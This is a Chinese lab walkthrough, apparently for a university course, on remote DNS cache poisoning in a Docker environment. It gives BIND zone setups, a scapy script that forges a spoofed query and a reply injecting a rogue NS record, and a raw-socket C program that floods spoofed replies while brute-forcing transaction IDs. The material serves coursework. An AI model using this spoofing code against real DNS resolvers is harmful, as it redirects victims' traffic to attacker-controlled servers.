参考文章:
华中科技大学网络空间安全学院2024年DNS攻击实验_华中科技大学网络空间安全2024dns-CSDN博客
提示:你可以在实验环境的虚拟机中打开本文档,以便复制代码!
说明:本文档仅面向结果编程,兼代码搬运工,过程如有错误勿喷!
1. 打开三个docker和一个终端:
sudo docker exec -it dns /bin/bash
sudo docker exec -it attack /bin/bash
sudo docker exec -it user /bin/bash
2. 在dns容器中操作:
(1) 修改文件:
vim /etc/bind/named.conf.default-zones
先把前面的example.com域注释掉(如果你做完前面的实验之后销毁了容器,然后重新申请了,就可以什么也不做)。
然后向文件末尾添加以下内容:
zone "hust-cse.net" {
type master;
file "/etc/bind/hust-cse.net.db";
};
(2) 随后修改相应域配置文件:
vim /etc/bind/hust-cse.net.db
向文件末尾添加以下内容:
@ IN NS ns.hust-cse.net.
@ IN A 10.10.27.4
ns IN A 10.10.27.4
* IN A 10.10.27.4
(3) 刷新缓存,并重启bind9
rndc flush
service bind9 restart
3. 在attack容器中操作:
(1) 修改文件:
vim /etc/bind/named.conf.default-zones
向文件末尾添加以下内容:
zone "example.com" {
type master;
file "/etc/bind/example.com.db";
};
(2) 随后修改相应域配置文件:
vim /etc/bind/example.com.db
向文件末尾添加以下内容:
@ IN NS ns.hust-cse.net.
@ IN A 20.0.6.14
www IN A 20.0.8.27
ns IN A 10.10.27.4
* IN A 20.23.3.19
(3) 刷新缓存,并重启bind9
rndc flush
service bind9 restart
4. 在user容器中操作:
输入以下命令,检查结果与图中是否相符:
dig ns.hust-cse.net
dig www.example.com @10.10.27.4
5. 在终端中操作(不用docker了):
(1) 设置收发包时延:
sudo tc qdisc add dev br-8f1148536672 root netem delay 1000ms
(2) 编写python程序,命名为general_dns.py:
# general_dns.py
from scapy.all import *
import string
import random
# random name
name = ''.join(random.sample(string.ascii_letters, 5))+'.example.com'
print(name)
Qdsec = DNSQR(qname=name)
# query
ip_q = IP(dst='10.10.27.2',src='10.10.27.4') # dst: dns; src:attacker
udp_q = UDP(dport=53,sport=33333,chksum=0)
dns_q = DNS(id=0xaaaa,qr=0,qdcount=1,ancount=0,nscount=0,arcount=0,qd=Qdsec)
pkt_q= ip_q/udp_q/dns_q
# reply
ip_r = IP(dst='10.10.27.2', src='199.43.135.53', chksum=0)
udp_r = UDP(dport=33333, sport=53, chksum=0)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
# The Authority Section
NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.hust-cse.net')
Addsec = DNSRR(rrname='ns.hust-cse.net', type='A', ttl=259200, rdata='10.10.27.4')
dns_r = DNS(id=0xAAAA, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=1, arcount=1, qd=Qdsec, an=Anssec, ns=NSsec, ar=Addsec)
pkt_r = ip_r/udp_r/dns_r
with open('query.bin','wb')as f:
f.write(bytes(pkt_q))
with open('reply.bin', 'wb') as f:
f.write(bytes(pkt_r))
(3) 编写C程序,命名为dns_attack.c:
// ---- dns_attack.c ------
// This sample program must be run by root lol!
//
// The program is to spoofing tons of different queries to the victim.
// Use wireshark to study the packets. However, it is not enough for
// the lab, please finish the response packet and complete the task.
//
// Compile command:
// gcc -lpcap dns_attack.c -o dns_attack
//
//
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
#include <libnet.h>
// The packet length
#define PCKT_LEN 8192
#define FLAG_R 0x8400
#define FLAG_Q 0x0100
// Can create separate header file (.h) for all headers' structure
// The IP header's structure
struct ipheader
{
unsigned char iph_ihl : 4, iph_ver : 4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
// unsigned char iph_flag;
unsigned short int iph_offset;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
unsigned int iph_sourceip;
unsigned int iph_destip;
};
// UDP header's structure
struct udpheader
{
unsigned short int udph_srcport;
unsigned short int udph_destport;
unsigned short int udph_len;
unsigned short int udph_chksum;
};
struct dnsheader
{
unsigned short int query_id;
unsigned short int flags;
unsigned short int QDCOUNT;
unsigned short int ANCOUNT;
unsigned short int NSCOUNT;
unsigned short int ARCOUNT;
};
// This structure just for convinience in the DNS packet, because such 4 byte data often appears.
struct dataEnd
{
unsigned short int type;
unsigned short int class;
};
// total udp header length: 8 bytes (=64 bits)
unsigned int checksum(uint16_t *usBuff, int isize)
{
unsigned int cksum = 0;
for (; isize > 1; isize -= 2)
{
cksum += *usBuff++;
}
if (isize == 1)
{
cksum += *(uint16_t *)usBuff;
}
return (cksum);
}
// calculate udp checksum
uint16_t check_udp_sum(uint8_t *buffer, int len)
{
unsigned long sum = 0;
struct ipheader *tempI = (struct ipheader *)(buffer);
struct udpheader *tempH = (struct udpheader *)(buffer + sizeof(struct ipheader));
struct dnsheader *tempD = (struct dnsheader *)(buffer + sizeof(struct ipheader) + sizeof(struct udpheader));
tempH->udph_chksum = 0;
sum = checksum((uint16_t *)&(tempI->iph_sourceip), 8);
sum += checksum((uint16_t *)tempH, len);
sum += ntohs(IPPROTO_UDP + len);
sum = (sum >> 16) + (sum & 0x0000ffff);
sum += (sum >> 16);
return (uint16_t)(~sum);
}
// Function for checksum calculation. From the RFC,
// the checksum algorithm is:
// "The checksum field is the 16 bit one's complement of the one's
// complement sum of all 16 bit words in the header. For purposes of
// computing the checksum, the value of the checksum field is zero."
unsigned short csum(unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
void send_pkt(char* buffer, int pkt_size)
{
struct sockaddr_in dest_info;
int enable=1;
int sock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));
struct ipheader *ip = (struct ipheader *)buffer;
struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));
dest_info.sin_family = AF_INET;
dest_info.sin_addr.s_addr = ip->iph_destip;
udp->udph_chksum=check_udp_sum(buffer, pkt_size-sizeof(struct ipheader));
if(sendto(sock, buffer, pkt_size, 0, (struct sockaddr *)&dest_info, sizeof(dest_info)) < 0){
printf("packet send error %d which means %s\n",errno,strerror(errno));
}
close(sock);
}
int main(int argc, char *argv[])
{
// dns fields(UDP payload field)
// relate to the lab, you can change them. begin:
while(1)
{
system("python3 general_dns.py"); // random pkt
// read pkt
FILE * f_q = fopen("query.bin","rb");
char q_buffer[PCKT_LEN];
int q_n = fread(q_buffer, 1, PCKT_LEN, f_q);
send_pkt(q_buffer, q_n);
FILE * f_r = fopen("reply.bin","rb");
char r_buffer[PCKT_LEN];
int r_n = fread(r_buffer, 1, PCKT_LEN, f_r);
for(unsigned short i=10000;i<65535;i++){ //random id:1000~2000
unsigned short order=htons(i); //little->big
memcpy(r_buffer+28,&order,2);
send_pkt(r_buffer, r_n);
}
}
// DNS format, relate to the lab, you need to change them, end
return 0;
}
(4) 编译dns_attack.c
gcc -lpcap dns_attack.c -o dns_attack
(5) 添加可执行权限
sudo chmod +x dns_attack
(6) 运行程序
sudo ./dns_attack
6. 在user容器中操作:
保持dns_attack程序运行,在user容器中进行dig操作:
dig www.example.com
dig xxxxx.example.com